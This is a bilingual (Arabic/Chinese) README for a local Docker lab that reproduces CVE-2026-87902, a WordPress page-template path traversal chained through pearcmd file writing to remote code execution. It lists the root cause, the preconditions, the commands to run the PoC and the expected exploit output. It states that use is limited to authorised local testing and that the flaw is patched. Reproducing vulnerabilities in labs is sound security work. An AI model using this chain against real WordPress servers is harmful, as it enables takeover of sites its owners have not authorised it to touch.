
مختبر محلي قائم على Docker يعيد إنتاج CVE-2026-87902، وهو اجتياز مسار في قالب صفحة WordPress يؤدي إلى تضمين ملف PHP محلي وتنفيذ تعليمات برمجية عن بُعد (RCE) عبر PEAR، مع نص برمجي PoC.
复现 CVE-2026-87902(WordPress 页面模板解析路径穿越 → 本地 PHP 文件包含 → pearcmd 写文件 RCE)的本地 Docker 靶场。
⚠️ 仅供授权环境下的安全学习与研究。只能在本地 Docker 里运行,禁止对任何未授权目标使用。漏洞已于 2026-09-22 由官方修复,所有受支持分支均已发布补丁。
get_page_template() بإجراء urldecode() ثانٍ على المعامل pagename القابل للتحكم من المستخدم ثم يدمجه في أسماء قوالب المرشحة، ويستخدم locate_template() الدالة file_exists() للعثور على الملف، وقبل التحميل لا يُجري سوى فحوصات realpath/اللاحقة/القابلية للقراءة، دون التحقق من أن المسار لا يزال داخل دليل القالب (التطبيع موجود، لكن الاحتواء غير موجود)| # | 条件 | 本靶场如何满足 |
|---|---|---|
| 1 | 已发布、未指定自定义模板的页面 | setup.sh 自动创建并清理示例页 |
| 2 | 活动主题顶层有 page-* 目录 | theme/mytheme/page-templates/(激活主题含此目录) |
| 3 | 可读的 /usr/local/lib/php/pearcmd.php | 官方 php 镜像自带 PEAR |
| 4 | register_argc_argv=On + 可写落点 | 官方镜像无 php.ini,编译默认值 On;/tmp 可写 |
docker compose up -d # 首次自动拉取镜像(约 1GB)
sh setup.sh # 装机 + 埋 /flag + 验证四条件
python cve-2026-87902.py --url http://127.0.0.1:8091
预期输出:
[*] page id : 4 (about, default template, via /index.php?rest_route=...)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
(12 次 = PEAR 配置文件有 12 个配置项,每项都嵌了一份 payload)
查看 stage 1 由 PEAR 写出的文件(#PEAR_Config 0.9 开头的 serialize 文本,payload 以普通字符嵌在 12 个配置项里):
docker compose exec wordpress cat /tmp/wp-pear-rce-flag.php
register_argc_argv=On سلسلة الاستعلام تُقسَّم عند + إلى $argv، فيظن pearcmd أنه استُدعي من الطرفية؛ ويكتب config-create <root> <file> محتوى root (الذي يتضمن شيفرة PHP) كما هو في الملف الهدف<?=...?> ويُقرأ /flag ويُعاد عرضهCVE-2026-87902-POC-OK (موجود في الحاوية عند /flag)setup.sh باستخدام Git Bash彻底清理(容器 + 数据卷 + 镜像):
docker compose down -v --rmi all
docker-compose.yml WordPress 7.0.2-php8.3-apache + MySQL 8.4 + wp-cli
theme/mytheme/ 实验主题(含 page-templates/ 目录,条件②)
cve-2026-87902.py PoC(来自 ressl/cve-2026-87902-poc,版权归原作者)
setup.sh 一键装机 + 四条件自检